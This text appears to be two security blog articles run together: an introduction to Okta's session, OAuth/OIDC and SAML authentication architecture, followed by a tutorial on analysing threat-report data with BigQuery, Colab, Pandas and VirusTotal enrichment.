Session Expiration Data: Information about when the session will expire or needs to be refreshed. This is vital for security, ensuring that sessions don’t remain active indefinitely, which could pose a security risk.

The management of sessions, particularly their creation, maintenance, and timely expiration is a crucial aspect of web-based services. Effective session management ensures a balance between user convenience — by reducing the need for repeated logins — and security — by minimizing the risk of unauthorized access through abandoned or excessively long-lived sessions. In the interactions between the end-user, IdP, and SP, sessions facilitate a seamless yet secure flow of requests and responses, underpinning the overall security and usability of the service.

Session initialization and authentication:

Okta manages user sessions beginning with the IdP session, which is established when a user successfully authenticates using their credentials, and potentially multi-factor authentication (MFA). This IdP session is key to accessing various applications integrated into an organization's Okta environment. For instance, an HTTP POST request to Okta's /api/v1/authn endpoint initiates this session by validating the user's credentials. In addition, the Sessions endpoint API can help facilitate creation and management at /api/v1/sessions.

Okta primarily uses cookies for session management, specifically in the context of identity provider (IdP) sessions. These cookies are crucial for maintaining the session state and user context across HTTP requests within the Okta environment. A typical session cookie retrieval for the end-user’s browser goes as follows:

1. IdP or SP-initiated application access request
2. Authentication request either via OIDC or SAML
3. After successful credential validation, a session token is returned
4. Redirection to OIDC endpoint, session redirection, or application embed link for session cookie

As detailed, when a user successfully authenticates, Okta ultimately sets a session cookie in the user’s browser. This cookie is then used to track the user session, allowing for seamless interaction with various applications without the need for re-authentication.

Tokens vs cookies:

While Okta utilizes tokens like ID and access tokens for API access and authorization, these tokens serve a different purpose from session cookies. Tokens are typically used in API interactions and are not responsible for maintaining the user’s session state. In contrast, session cookies are specifically designed for maintaining session continuity within the web browser, making them essential for web-based SSO and session management within Okta.

Session tokens are similar to client-side secrets, just like authorization codes during authorization requests. These secrets, along with the correct requests to specific API endpoints can allow an end-user, or adversary, to obtain a session cookie or access token which can then be used to make authenticated/authorized requests on behalf of the user. This should warrant increased security measures for session management and monitoring.

Single sign-on (SSO):

SSO is a critical feature in Okta's session management, allowing users to access multiple applications with a single set of credentials. This is achieved through protocols like SAML and OIDC, where an HTTP(S) request to the SAML endpoint, for instance, facilitates user authentication and grants access across different applications without the need for repeated logins.

In Single Sign-On (SSO) scenarios, Okta’s session cookies play a vital role. Once a user is authenticated and a session is established, the same session cookie facilitates access to multiple applications within the SSO framework by bundled with every service provider request. This eliminates the need for the user to log in separately to each application, streamlining the user experience.

Session termination:

Terminating a session in Okta can occur due to expiration. This can also occur from a user, SP, or IdP-initiated sign-out. An HTTP GET request to Okta's /api/v1/sessions/me endpoint can be used to terminate the user’s session. In the case of SSO, this termination can trigger a single logout (SLO), ending sessions across all accessed applications.

Application sessions and additional controls:

Application sessions are specific to the application a user accesses post-authentication with the IdP. Okta allows fine-grained control over these sessions, including different expiration policies for privileged versus non-privileged applications. Additionally, administrators can implement policies for single logout (SLO) or local logout to further manage session lifecycles.

Understanding the mechanics of session initiation, management, and termination, as well as the role of tokens and cookies, is foundational for exploring deeper security topics. This knowledge is crucial when delving into areas like attack analysis and session hijacking, which will be discussed in later parts of this blog series.

More information on sessions can be found in Session management with Okta or Sessions for Developers.

Tenants

In the SaaS realm, a tenant is a distinct instance of software and infrastructure serving a specific user group. In Okta's multi-tenant platform, this concept is key for configuring access control. Tenants can represent various groups, from internal employees to external contractors, each requiring unique access to applications. This is managed through Okta, serving as the IdP.

Tenants are versatile within Okta: they can be tailored based on security policies, user groups, roles, and profiles, allowing them to operate independently within the organization. This independence is crucial in multi-tenant environments, where distinct tenants are segregated based on factors like roles, data privacy, and regulatory requirements. Such setups are common in Okta, enabling users to manage diverse access needs efficiently.

In multi-org environments, Okta facilitates tenants across separate organizations through its UD. The configuration of each tenant is influenced by various factors including cost, performance, and data residency, with user types and profiles forming the basis of tenant setup. Additionally, features like delegated admin support and DNS customization for post-sign-in redirects are instrumental in managing tenant access.

Understanding the nuances of tenant configuration in Okta is vital, not only for effective administration but also for comprehending potential security challenges, such as the risk of poisoned tenants.

Authorization workflow

As we discussed earlier, Okta - being an IdP - provides an authorization server as part of its services. It is critical to understand the authorization workflow that happens on the front and back-end channels. For this discussion and examples, we will use the client (end-user), authorization server (Okta), and SP (application server) as the actors involved.

OAuth 2.0 and OIDC protocols

High-level overview of OAuth

OAuth 2.0, defined in RFC 6749, is a protocol for authorization. It enables third-party applications to gain limited access approved by the end-user or resource owner. Operating over HTTPS, it grants access tokens to authorize users, devices, APIs, servers, and applications.

Key OAuth terminology:

Scopes: Define the permissions granted within an access token. They represent session permissions for each interaction with a resource server.

Consent: A process where end users or clients agree or disagree with the permissions (scopes) requested by a client application. For example, a consent screen in Google Workspace.

Tokens: Includes access tokens for resource access and refresh tokens for obtaining new access tokens without re-authorizing.

Grants: Data sent to the authorization server to receive an access token, like an authorization code granted post-authentication.

Clients: In OAuth, clients are either 'confidential', able to securely store credentials, or 'public', which cannot.

Authorization Server: Mints OIDC and OAuth tokens and applies access policies, each with a unique URI and signing key.

Authorization Endpoint: An API endpoint (/oauth/authorize) for user interaction and authorization.

Token Endpoint: An API endpoint (/oauth/token) for clients to obtain access or refresh tokens, typically requiring a grant type like authorization code.

Resource Server (or Service Provider, SP): Provides services to authenticated users, requiring an access token.

Front-end Channel: Communication between the user’s browser and the authorization or resource server.

Back-end Channel: Machine-to-machine communication, such as between resource and authorization servers.

This streamlined overview covers the essentials of OAuth in the Okta ecosystem, focusing on its function, key terms, and components.

High-level overview of OIDC

At the beginning of this blog, we also discussed how OIDC is an identity authentication protocol that sits on top of the OAuth authorization framework. While OAuth provides authorization, it has no current mechanism for authentication, thus where OIDC protocol comes in handy. The identity of the authenticated user is often called the resource owner.

The OIDC connect flow looks similar to the OAuth flow, however during the initial HTTPS request, scope=openid is added to be used so that not only an access token is returned from the authorization server but an ID token as well.

The ID token is formatted as a JSON Web Token (JWT) so that the client can extract information about the identity. This is unlike the access token, which the client passes to the resource server every time access is required. Data such as expiration, issuer, signature, email, and more can be found inside the JWT - these are also known as claims.

Authorization code flow

Step 1 - Initial authorization request:

The authorization code flow is initiated when the client sends an HTTP GET request to Okta’s authorization endpoint. This request is crucial in establishing the initial part of the OAuth 2.0 authorization framework.

Here’s a breakdown of the request components:

• Endpoint: The request is directed to /oauth2/default/v1/authorize, which is Okta’s authorization endpoint
• Parameters:
  • response_type=code: This parameter specified that the application is initiating an authorization code grant type flow.
  • client_id: The unique identifier for the client application registered with Okta.
  • redirect_uri: The URL to which Okta will send the authorization code.
  • scope: Defines the level of access the application is requesting.

Example Request:

GET /oauth2/default/v1/authorize?response_type=code \ 
&client_id=CLIENT_ID&redirect_uri=REDIRECT_URI&scope=SCOPE

Step 2 - User authentication and consent:

Once the request is made, the user is prompted to authenticate with Okta and give consent for the requested scopes. This step is fundamental for user verification and to ensure that the user is informed about the type of access being granted to the application.

Step 3 - Authorization code reception:

Post authentication and consent, Okta responds to the client with an authorization code. This code is short-lived and is exchanged for a more permanent secret to make further requests - an access token.

Example token exchange request:

POST /oauth2/default/v1/token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=AUTHORIZATION_CODE&
redirect_uri=REDIRECT_URI&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET

Step 4 - Redirect URIs and client authentication

Redirect URIs play a pivotal role in the security of the OAuth 2.0 flow. They are pre-registered URLs to which Okta sends the authorization code. The integrity of these URIs is paramount, as they ensure that the response is only sent to the authorized client.

The client application is authenticated at the token endpoint, usually by providing the client_id and client_secret. This step is crucial to verify the identity of the client application and prevent unauthorized access.

Step 5 - Token exchange

In the final step, the client makes an HTTP POST request to Okta’s token endpoint, exchanging the authorization code for an access token. This access token is then used to make API requests on behalf of the user.

The inclusion of client credentials (client ID and client secret) in this request is a critical security measure, ensuring that the token is only issued to the legitimate client.

Access tokens and scopes

An access token is a compact code carrying extensive data about a user and their permissions. It serves as a digital key, facilitating communication between a server and a user's device. Commonly used in various websites, access tokens enable functionalities like logging in through one website (like Facebook) to access another (like Salesforce).

Composition of an access token:

An access token typically comprises three distinct parts, each serving a specific purpose:

• Header: This section contains metadata about the token, including the type of token and the algorithm used for encryption.
• Payload (claims): The core of the token, includes user-related information, permissions, group memberships, and expiration details. The payload dictates whether a user can access a specific resource, depending on the permissions granted within it. Developers can embed custom data in the payload, allowing for versatile applications, such as a single token granting access to multiple APIs.
• Signature: A hashed verification segment that confirms the token's authenticity. This makes the token secure and challenging to tamper with or replicate.

A common format for access tokens JWT as we previously discussed, which is concise yet securely encodes all necessary information.

Scopes and permissions:

Scopes in OAuth 2.0 are parameters that define the level and type of access the client requests. Each scope translates into specific permissions granted to the access token. For instance, a scope of email would grant the client application access to the user's email address. The granularity of scopes allows for precise control over what the client can and cannot do with the access token, adhering to the principle of least privilege.

Token lifespan and refresh tokens:

Access tokens are inherently short-lived for security reasons, reducing the window of opportunity for token misuse in case of unintended disclosure. Okta allows customization of token lifespans to suit different security postures. Once an access token expires, it can no longer be used to access resources.

Refresh tokens, where employed, serve to extend the session without requiring the user to authenticate again. A refresh token can be exchanged for a new access token, thus maintaining the user's access continuity to the application. The use of refresh tokens is pivotal in applications where the user remains logged in for extended periods.

Token storage:

Regarding token storage, browser-based applications such as those utilizing services like Okta, are vital secure storage of access tokens is a critical aspect of user session management. These tokens are typically stored using one of several methods: browser in-memory storage, session cookies, or browser local/session storage. In-memory storage, preferred for its strong defense against XSS attacks, holds the token within the JavaScript memory space of the application, although it loses the token upon page refresh or closure. Session cookies offer enhanced security by being inaccessible to JavaScript, thereby reducing XSS vulnerabilities, but require careful implementation to avoid CSRF attacks. Local and session storage options, while convenient, are generally less recommended for sensitive data like access tokens due to their susceptibility to XSS attacks. The choice of storage method will depend on the application where a traditional web page, mobile device, or single-page app is being used.

Security and expiration:

The security of access tokens is of paramount importance in safeguarding user authentication and authorization processes, especially during their transmission over the internet. Encrypting these tokens is crucial, as it ensures that their contents remain confidential and impervious to unauthorized access. Equally important is the use of secure communication channels, notably HTTPS, to prevent the interception and compromise of tokens in transit. Furthermore, the signature component of a token, particularly in JWTs, plays a vital role in verifying its authenticity and integrity. This signature confirms that the token has not been altered and is genuinely issued by a trusted authority, thus preventing the risks associated with token forgery and replay attacks.

Access tokens are inherently designed with expiration mechanisms, a strategic choice to mitigate the risks associated with token theft or misuse. This finite lifespan of tokens necessitates regular renewal, typically managed through refresh tokens, thereby ensuring active session management and reducing opportunities for unauthorized use. The storage and handling of these tokens in client applications also significantly impact their overall security. Secure storage methods, such as in-memory or encrypted cookies, alongside careful management of token renewal processes, are essential to prevent unauthorized access and maintain the robustness of user sessions and access controls.

Authentication workflow

Authentication vs authorization

Before we dive into authentication in Okta, we should take a moment to understand the difference between authentication and authorization. To put it simply, authentication is providing evidence to prove identity, whereas authorization is about permissions and privileges once access is granted.

As we discussed throughout this blog, the Identity Engine and UD are critical to identity management in Okta. As a recap, the Identity Engine is used for enrolling, authentications, and authorizing users. The UD is used as the main directory service in Okta that contains users, groups, profiles, and policies, also serving as the source of truth for user data. The UD can be synchronized with other directory services such as AD or LDAP through the Okta endpoint agent.

Identity management can be managed via Okta or through an external IdP, such as Google Workspace. Essentially, when access to an application is requested, redirection to the authorization server’s endpoint APIs for authentication are generated to provide proof of identity.

Below are the main authentication protocols between the end user, resource server, and authorization server:

• OIDC: Authentication protocol that sits on top of the OAuth authorization framework. Workflow requires an ID token (JWT) to be obtained during an access token request.
• SAML: Open standard protocol formatted in XML that facilitates user identity data exchange between SPs and IdPs.

Within Okta, there is plenty of flexibility and customization regarding authentication. Basic authentication is supported where simple username and password schemes are used over HTTP with additional parameters and configurations.

SAML in authentication

As previously stated, SAML is a login standard that helps facilitate user access to applications based on HTTP(s) requests and sessions asynchronously. Over time the use of basic credentials for each application quickly became a challenge and thus federated identity was introduced to allow identity authentication across different SPs, facilitated by the identity providers.

SAML is primarily a web-based authentication mechanism as it relies on a flow of traffic between the end user, IdP, and SP. The SAML authentication flow can either be IdP or SP initiated depending on where the end user visits first for application access.

The SAML request is typically generated by the SP whereas the SAML response is generated by the IdP. The response contains the SAML assertion, which contains information about the authenticated user’s identity and a signed signature by the IdP.

It is important to note that during the SAML workflow, the IdP and SP typically never communicate directly, but instead rely on the end user’s browser for redirections. Typically, the SP trusts the IdP and thus the identity data forwarded through the user’s web browser to the SP is trusted in access is granted to the application requested.

In step 5 from the diagram above, the SAML assertion would be sent as part of this response after the user has authenticated with the IdP. Remember that the assertion is in XML format and can be quite extensive as it contains identity information for the SP to parse and rely on for the end user’s identity verification. Generic examples of SAML assertions are provided by OneLogin. Auth0 also provides a decoder and parser for these examples as well which is shown in the image below.

IdP vs SP responsibilities

When discussing the roles and responsibilities of the SP and IdP, keep in mind that the SP is meant to provide access to applications for the end user, whereas the IdP provides authentication and authorization. The SP and IdP are typically set up to trust each other with their designated responsibilities. Depending on the end user, workflows for authentication and authorization can be SP or IdP initiated where RESTful API endpoints are typically depended on for each workflow. For authentication, requests and responses are sent from the IdP and SP but often proxied through the end user’s browser.

Although Okta is mainly an IdP and provides authentication and authorization services, it can also be used as an SP. Previously we discussed how Okta’s integration network allows for various 3rd-party applications to be connected and accessible to users through their dashboard. We also explained how authentication workflows can be SP initiated, meaning users could visit their Okta dashboard to request access to an application. At the same time, a 3rd-party IdP could be established such as Google Workspace or Azure AD which would handle the authentication and authorization of the user. If the user were to request access with this type of setup, Okta would then redirect the user to Azure AD for authentication.

Single-factor vs multi-factor authentication

Single-factor authentication (SFA) is the simplest form of authentication, requiring a user to supply one credential object for authentication. Commonly, users are familiar with password-based authentication methods where a username and password are supplied to validate themselves. This of course has security implications if the credentials used are stolen as they can be used by an adversary to login and access the same resources.

Multifactor authentication (MFA) is similar to SFA, except it requires two or more types of credentials or evidence to be supplied for authentication, typically in sequence. For example, a password-based credential may be supplied and once verified by the IdP, then requested by an OTP be supplied by a mobile device authenticator application, SMS message, email, and others. The common types of authentication factors are something that the user knows, possesses, or is inherent. This also increases the complexity to adversaries based on randomized string generation for OTPs and MFA token expirations.

Okta enables other types of authentication methods such as passwordless, risk-based, biometric, transaction, and others. A full list of authentication methods and descriptions can be found here.

Every application or integration added to the Okta organization has an authentication policy, which verifies conditions for users who attempt to access each application. Authentication policies can also help enforce factor requirements based on these conditions where the UD and user profile are used to analyze information about the user. Authentication policies can be set globally for applications and users or can be more granular if set at the application level where specific user conditions are met. Authentication policies can be updated, cloned, preset, and merged if duplicate policies. Rules that define these granular conditions can be applied to these authentication policies with the Okta Expression Language (EL).

Client-side and server-side communications

Understanding the distinction between front-end (user-browser interactions) and back-end (server-to-server communications) is crucial in web-based authentication systems. Front-end interactions typically involve user interfaces and actions, while back-end channels handle critical exchanges like SAML assertions or OAuth tokens, crucial for secure authentication.

In Okta's framework, the interplay between browser and server is key for security and user experience. When a user logs in via Okta, the browser first authenticates with Okta, which then sends back the necessary tokens. These are forwarded to the application server which validates them with Okta, ensuring a secure, behind-the-scenes token exchange.

Okta’s token management is marked by stringent security. Issued tokens like ID and access tokens are securely exchanged among the user’s browser, Okta, and application servers. Protocols like HTTPS and OAuth 2.0 safeguard these transmissions. Features like token rotation and automatic revocation further bolster security, preventing unauthorized access.

Integrating Okta into an application reshapes its design and security. This offloads significant security responsibilities, allowing developers to focus on core functions. Such integration leads to a modular architecture, where authentication services are separate from application logic.

Conclusion

We’ve unraveled the complexities of Okta’s architecture and services, providing insights into its role as a leader in modern authentication and authorization. With the platform’s utilization of protocols like OAuth, OIDC, and SAML, Okta stands at the forefront of scalable, integrated solutions, seamlessly working with platforms such as Azure AD and Google Workspace.

Okta's SaaS design, featuring a RESTful API, makes it a versatile Identity Provider (IdP) and Service Provider (SP). Yet, its popularity also brings potential security vulnerabilities. For cybersecurity professionals, it’s crucial to grasp Okta’s complexities to stay ahead of evolving threats. This introduction sets the stage for upcoming deeper analyses of Okta's attack surface, the setup of a threat detection lab, and the exploration of common attacks.

Armed with this knowledge, you’re now better equipped to analyze, understand, and mitigate the evolving cybersecurity challenges associated with Okta’s ecosystem.

In today's digital age, the sheer volume of data generated by devices and systems can be both a challenge and an opportunity for security practitioners. Analyzing a high magnitude of data to craft valuable or actionable insights on cyber attack trends requires precise tools and methodologies.

Before you delve into the task of data analysis, you might find yourself asking:

• What specific questions am I aiming to answer, and do I possess the necessary data?
• Where is all the pertinent data located?
• How can I gain access to this data?
• Upon accessing the data, what steps are involved in understanding and organizing it?
• Which tools are most effective for extracting, interpreting, or visualizing the data?
• Should I analyze the raw data immediately or wait until it has been processed?
• Most crucially, what actionable insights can be derived from the data?

If these questions resonate with you, you're on the right path. Welcome to the world of Google Cloud, where we'll address these queries and guide you through the process of creating a comprehensive report.

Our approach will include several steps in the following order:

Exploration: We start by thoroughly understanding the data at our disposal. This phase involves identifying potential insights we aim to uncover and verifying the availability of the required data.

Extraction: Here, we gather the necessary data, focusing on the most relevant and current information for our analysis.

Pre-processing and transformation: At this stage, we prepare the data for analysis. This involves normalizing (cleaning, organizing, and structuring) the data to ensure its readiness for further processing.

Trend analysis: The majority of our threat findings and observations derive from this effort. We analyze the processed data for patterns, trends, and anomalies. Techniques such as time series analysis and aggregation are employed to understand the evolution of threats over time and to highlight significant cyber attacks across various platforms.

Reduction: In this step, we distill the data to its most relevant elements, focusing on the most significant and insightful aspects.

Presentation: The final step is about presenting our findings. Utilizing tools from Google Workspace, we aim to display our insights in a clear, concise, and visually-engaging manner.

Conclusion: Reflecting on this journey, we'll discuss the importance of having the right analytical tools. We'll highlight how Google Cloud Platform (GCP) provides an ideal environment for analyzing cyber threat data, allowing us to transform raw data into meaningful insights.

Exploration: Determining available data

Before diving into any sophisticated analyses, it's necessary to prepare by establishing an understanding of the data landscape we intend to study.

Here's our approach:

1. Identifying available data: The first step is to ascertain what data is accessible. This could include malware phenomena, endpoint anomalies, cloud signals, etc. Confirming the availability of these data types is essential.
2. Locating the data stores: Determining the exact location of our data. Knowing where our data resides – whether in databases, data lakes, or other storage solutions – helps streamline the subsequent analysis process.
3. Accessing the data: It’s important to ensure that we have the necessary permissions or credentials to access the datasets we need. If we don’t, attempting to identify and request access from the resource owner is necessary.
4. Understanding the data schema: Comprehending the structure of our data is vital. Knowing the schema aids in planning the analysis process effectively.
5. Evaluating data quality: Just like any thorough analysis, assessing the quality of the data is crucial. We check whether the data is segmented and detailed enough for a meaningful trend analysis.

This phase is about ensuring that our analysis is based on solid and realistic foundations. For a report like the Global Threat Report, we rely on rich and pertinent datasets such as:

• Cloud signal data: This includes data from global Security Information and Event Management (SIEM) alerts, especially focusing on cloud platforms like AWS, GCP, and Azure. This data is often sourced from public detection rules.
• Endpoint alert data: Data collected from the global Elastic Defend alerts, incorporating a variety of public endpoint behavior rules.
• Malware data: This involves data from global Elastic Defend alerts, enriched with MalwareScore and public YARA rules.

Each dataset is categorized and enriched for context with frameworks like MITRE ATT&CK, Elastic Stack details, and customer insights. Storage solutions of Google Cloud Platform, such as BigQuery and Google Cloud Storage (GCS) buckets, provide a robust infrastructure for our analysis.

It's also important to set a data “freshness” threshold, excluding data not older than 365 days for an annual report, to ensure relevance and accuracy.

Lastly, remember to choose data that offers an unbiased perspective. Excluding or including internal data should be an intentional, strategic decision based on its relevance to your visibility.

In summary, selecting the right tools and datasets is fundamental to creating a comprehensive and insightful analysis. Each choice contributes uniquely to the overall effectiveness of the data analysis, ensuring that the final insights are both valuable and impactful.

Extraction: The first step in data analysis

Having identified and located the necessary data, the next step in our analytical journey is to extract this data from our storage solutions. This phase is critical, as it sets the stage for the in-depth analysis that follows.

Data extraction tools and techniques

Various tools and programming languages can be utilized for data extraction, including Python, R, Go, Jupyter Notebooks, and Looker Studio. Each tool offers unique advantages, and the choice depends on the specific needs of your analysis.

In our data extraction efforts, we have found the most success from a combination of BigQuery, Colab Notebooks, buckets, and Google Workspace to extract the required data. Colab Notebooks, akin to Jupyter Notebooks, operate within Google's cloud environment, providing a seamless integration with other Google Cloud services.

BigQuery for data staging and querying

In the analysis process, a key step is to "stage" our datasets using BigQuery. This involves utilizing BigQuery queries to create and save objects, thereby making them reusable and shareable across our team. We achieve this by employing the CREATE TABLE statement, which allows us to combine multiple datasets such as endpoint behavior alerts, customer data, and rule data into a single, comprehensive dataset.

This consolidated dataset is then stored in a BigQuery table specifically designated for this purpose–for this example, we’ll refer to it as the “Global Threat Report” dataset. This approach is applied consistently across different types of data, including both cloud signals and malware datasets.

The newly created data table, for instance, might be named elastic.global_threat_report.ep_behavior_raw. This naming convention, defined by BigQuery, helps in organizing and locating the datasets effectively, which is crucial for the subsequent stages of the extraction process.

An example of a BigQuery query used in this process might look like this:

CREATE TABLE elastic.global_threat_report.ep_behavior_raw AS
SELECT * FROM ...

Diagram for BigQuery query to an exported dataset table

We also use the EXPORT DATA statement in BigQuery to transfer tables to other GCP services, like exporting them to Google Cloud Storage (GCS) buckets in parquet file format.

EXPORT DATA
  OPTIONS (
    uri = 'gs://**/ep_behavior/*.parquet',
    format = 'parquet',
    overwrite = true
  )
AS (
SELECT * FROM `project.global_threat_report.2023_pre_norm_ep_behavior`
)

Colab Notebooks for loading staged datasets

Colab Notebooks are instrumental in organizing our data extraction process. They allow for easy access and management of data scripts stored in platforms like GitHub and Google Drive.

For authentication and authorization, we use Google Workspace credentials, simplifying access to various Google Cloud services, including BigQuery and Colab Notebooks. Here's a basic example of how authentication is handled:

Diagram for authentication and authorization between Google Cloud services

For those new to Jupyter Notebooks or dataframes, it's beneficial to spend time becoming familiar with these tools. They are fundamental in any data analyst's toolkit, allowing for efficient code management, data analysis, and structuring. Mastery of these tools is key to effective data analysis.

Upon creating a notebook in Google Colab, we're ready to extract our custom tables (such as project.global_threat_report.ep_behavior_raw) from BigQuery. This data is then loaded into Pandas Dataframes, a Python library that facilitates data manipulation and analysis. While handling large datasets with Python can be challenging, Google Colab provides robust virtual computing resources. If needed, these resources can be scaled up through the Google Cloud Marketplace or the Google Cloud Console, ensuring that even large datasets can be processed efficiently.

Essential Python libraries for data analysis

In our data analysis process, we utilize various Python libraries, each serving a specific purpose:

Next, we authenticate with BigQuery, and receive authorization to access our datasets as demonstrated earlier. By using Google Workspace credentials, we can easily access BigQuery and other Google Cloud services. The process typically involves a simple code snippet for authentication:

from google.colab import auth
from google.cloud import bigquery

auth.authenticate_user()
project_id = "PROJECT_FROM_GCP"
client = bigquery.Client(project=project_id)

With authentication complete, we can then proceed to access and manipulate our data. Google Colab's integration with Google Cloud services simplifies this process, making it efficient and secure.

Organizing Colab Notebooks before analysis

When working with Jupyter Notebooks, it's better to organize your notebook beforehand. Various stages of handling and manipulating data will be required, and staying organized will help you create a repeatable, comprehensive process.

In our notebooks, we use Jupyter Notebook headers to organize the code systematically. This structure allows for clear compartmentalization and the creation of collapsible sections, which is especially beneficial when dealing with complex data operations that require multiple steps. This methodical organization aids in navigating the notebook efficiently, ensuring that each step in the data extraction and analysis process is easily accessible and manageable.

Moreover, while the workflow in a notebook might seem linear, it's often more dynamic. Data analysts frequently engage in multitasking, jumping between different sections as needed based on the data or results they encounter. Furthermore, new insights discovered in one step may influence another step’s process, leading to some back and forth before finishing the notebook. |

Extracting Our BigQuery datasets into dataframes

After establishing the structure of our notebook and successfully authenticating with BigQuery, our next step is to retrieve the required datasets. This process sets the foundation for the rest of the report, as the information from these sources will form the basis of our analysis, similar to selecting the key components required for a comprehensive study.

Here's an example of how we might fetch data from BigQuery:

import datetime

current_year = datetime.datetime.now().year
reb_dataset_id = f'project.global_threat_report.{current_year}_raw_ep_behavior'
reb_table = client.list_rows(reb_dataset_id)
reb_df = reb_table.to_dataframe() 

This snippet demonstrates a typical data retrieval process. We first define the dataset we're interested in (with the Global Threat Report, project.global_threat_report.ep_behavior_raw for the current year). Then, we use a BigQuery query to select the data from this dataset and load it into a Pandas DataFrame. This DataFrame will serve as the foundation for our subsequent data analysis steps.

Colab Notebook snippet for data extraction from BigQuery into Pandas dataframe

This process marks the completion of the extraction phase. We have successfully navigated BigQuery to select and retrieve the necessary datasets and load them in our notebooks within dataframes. The extraction phase is pivotal, as it not only involves gathering the data but also setting up the foundation for deeper analysis. It's the initial step in a larger journey of discovery, leading to the transformation phase, where we will uncover more detailed insights from the data.

In summary, this part of our data journey is about more than just collecting datasets; it's about structurally preparing them for the in-depth analysis that follows. This meticulous approach to organizing and executing the extraction phase sets the stage for the transformative insights that we aim to derive in the subsequent stages of our data analysis.

Pre-processing and transformation: The critical phase of data analysis

The transition from raw data to actionable insights involves a series of crucial steps in data processing. After extracting data, our focus shifts to refining it for analysis. Cybersecurity datasets often include various forms of noise, such as false positives and anomalies, which must be addressed to ensure accurate and relevant analysis.

Key stages in data pre-processing and transformation:

• Data cleaning: This stage involves filling NULL values, correcting data misalignments, and validating data types to ensure the dataset's integrity.
• Data enrichment: In this step, additional context is added to the dataset. For example, incorporating third-party data, like malware reputations from sources such as VirusTotal, enhances the depth of analysis.
• Normalization: This process standardizes the data to ensure consistency, which is particularly important for varied datasets like endpoint malware alerts.
• Anomaly detection: Identifying and rectifying outliers or false positives is critical to maintain the accuracy of the dataset.
• Feature extraction: The process of identifying meaningful, consistent data points that can be further extracted for analysis.

Embracing the art of data cleaning

Data cleaning is a fundamental step in preparing datasets for comprehensive analysis, especially in cybersecurity. This process involves a series of technical checks to ensure data integrity and reliability. Here are the specific steps:

• Mapping to MITRE ATT&CK framework: Verify that all detection and response rules in the dataset are accurately mapped to the corresponding tactics and techniques in the MITRE ATT&CK framework. This check includes looking for NULL values or any inconsistencies in how the data aligns with the framework.

• Data type validation: Confirm that the data types within the dataset are appropriate and consistent. For example, timestamps should be in a standardized datetime format. This step may involve converting string formats to datetime objects or verifying that numerical values are in the correct format.

• Completeness of critical data: Ensure that no vital information is missing from the dataset. This includes checking for the presence of essential elements like SHA256 hashes or executable names in endpoint behavior logs. The absence of such data can lead to incomplete or biased analysis.

• Standardization across data formats: Assess and implement standardization of data formats across the dataset to ensure uniformity. This might involve normalizing text formats, ensuring consistent capitalization, or standardizing date and time representations.

• Duplicate entry identification: Identify and remove duplicate entries by examining unique identifiers such as XDR agent IDs or cluster IDs. This process might involve using functions to detect and remove duplicates, ensuring the uniqueness of each data entry.

• Exclusion of irrelevant internal data: Locate and remove any internal data that might have inadvertently been included in the dataset. This step is crucial to prevent internal biases or irrelevant information from affecting the analysis.

It is important to note that data cleaning or “scrubbing the data” is a continuous effort throughout our workflow. As we continue to peel back the layers of our data and wrangle it for various insights, it is expected that we identify additional changes.

Utilizing Pandas for data cleaning

The Pandas library in Python offers several functionalities that are particularly useful for data cleaning in cybersecurity contexts. Some of these methods include:

• DataFrame.isnull() or DataFrame.notnull() to identify missing values.
• DataFrame.drop_duplicates() to remove duplicate rows.
• Data type conversion methods like pd.to_datetime() for standardizing timestamp formats.
• Utilizing boolean indexing to filter out irrelevant data based on specific criteria.

A thorough understanding of the dataset is essential to determine the right cleaning methods. It may be necessary to explore the dataset preliminarily to identify specific areas requiring cleaning or transformation. Additional helpful methods and workflows can be found listed in this Real Python blog.

Feature extraction and enrichment

Feature extraction and enrichment are core steps in data analysis, particularly in the context of cybersecurity. These processes involve transforming and augmenting the dataset to enhance its usefulness for analysis.

• Create new data from existing: This is where we modify or use existing data to add additional columns or rows.
• Add new data from 3rd-party: Here, we use existing data as a query reference for 3rd-party RESTful APIs which respond with additional data we can add to the datasets.

Feature extraction

Let’s dig into a tangible example. Imagine we're presented with a bounty of publicly available YARA signatures that Elastic shares with its community. These signatures trigger some of the endpoint malware alerts in our dataset. A consistent naming convention has been observed based on the rule name that, of course, shows up in the raw data: OperationsSystem_MalwareCategory_MalwareFamily. These names can be deconstructed to provide more specific insights. Leveraging Pandas, we can expertly slice and dice the data. For those who prefer doing this during the dataset staging phase with BigQuery, the combination of SPLIT and OFFSET clauses can yield similar results:

df[['OperatingSystem', 'MalwareCategory', 'MalwareFamily']] = df['yara_rule_name'].str.split('_', expand=True)

Feature extraction with our YARA data

There are additional approaches, methods, and processes to feature extraction in data analysis. We recommend consulting your stakeholder's wants/needs and exploring your data to help determine what is necessary for extraction and how.

Data enrichment

Data enrichment enhances the depth and context of cybersecurity datasets. One effective approach involves integrating external data sources to provide additional perspectives on the existing data. This can be particularly valuable in understanding and interpreting cybersecurity alerts.

Example of data enrichment: Integrating VirusTotal reputation data A common method of data enrichment in cybersecurity involves incorporating reputation scores from external threat intelligence services like VirusTotal (VT). This process typically includes:

1. Fetching reputation data: Using an API key from VT, we can query for reputational data based on unique identifiers in our dataset, such as SHA256 hashes of binaries.

import requests

def get_reputation(sha256, API_KEY, URL):
    params = {'apikey': API_KEY, 'resource': sha256}
    response = requests.get(URL, params=params)
    json_response = response.json()
    
    if json_response.get("response_code") == 1:
        positives = json_response.get("positives", 0)
        return classify_positives(positives)
    else:
        return "unknown"

In this function, classify_positives is a custom function that classifies the reputation based on the number of antivirus engines that flagged the file as malicious.

2. Adding reputation data to the dataset: The reputation data fetched from VirusTotal is then integrated into the existing dataset. This is done by applying the get_reputation function to each relevant entry in the DataFrame.

df['reputation'] = df['sha256'].apply(lambda x: get_reputation(x, API_KEY, URL))

Here, a new column named reputation is added to the dataframe, providing an additional layer of information about each binary based on its detection rate in VirusTotal.

This method of data enrichment is just one of many options available for enhancing cybersecurity threat data. By utilizing robust helper functions and tapping into external data repositories, analysts can significantly enrich their datasets. This enrichment allows for a more comprehensive understanding of the data, leading to a more informed and nuanced analysis. The techniques demonstrated here are part of a broader range of advanced data manipulation methods that can further refine cybersecurity data analysis.

Normalization

Especially when dealing with varied datasets in cybersecurity, such as endpoint alerts and cloud SIEM notifications, normalization may be required to get the most out of your data.

Understanding normalization: At its core, normalization is about adjusting values measured on different scales to a common scale, ensuring that they are proportionally represented, and reducing redundancy. In the cybersecurity context, this means representing events or alerts in a manner that doesn't unintentionally amplify or reduce their significance.

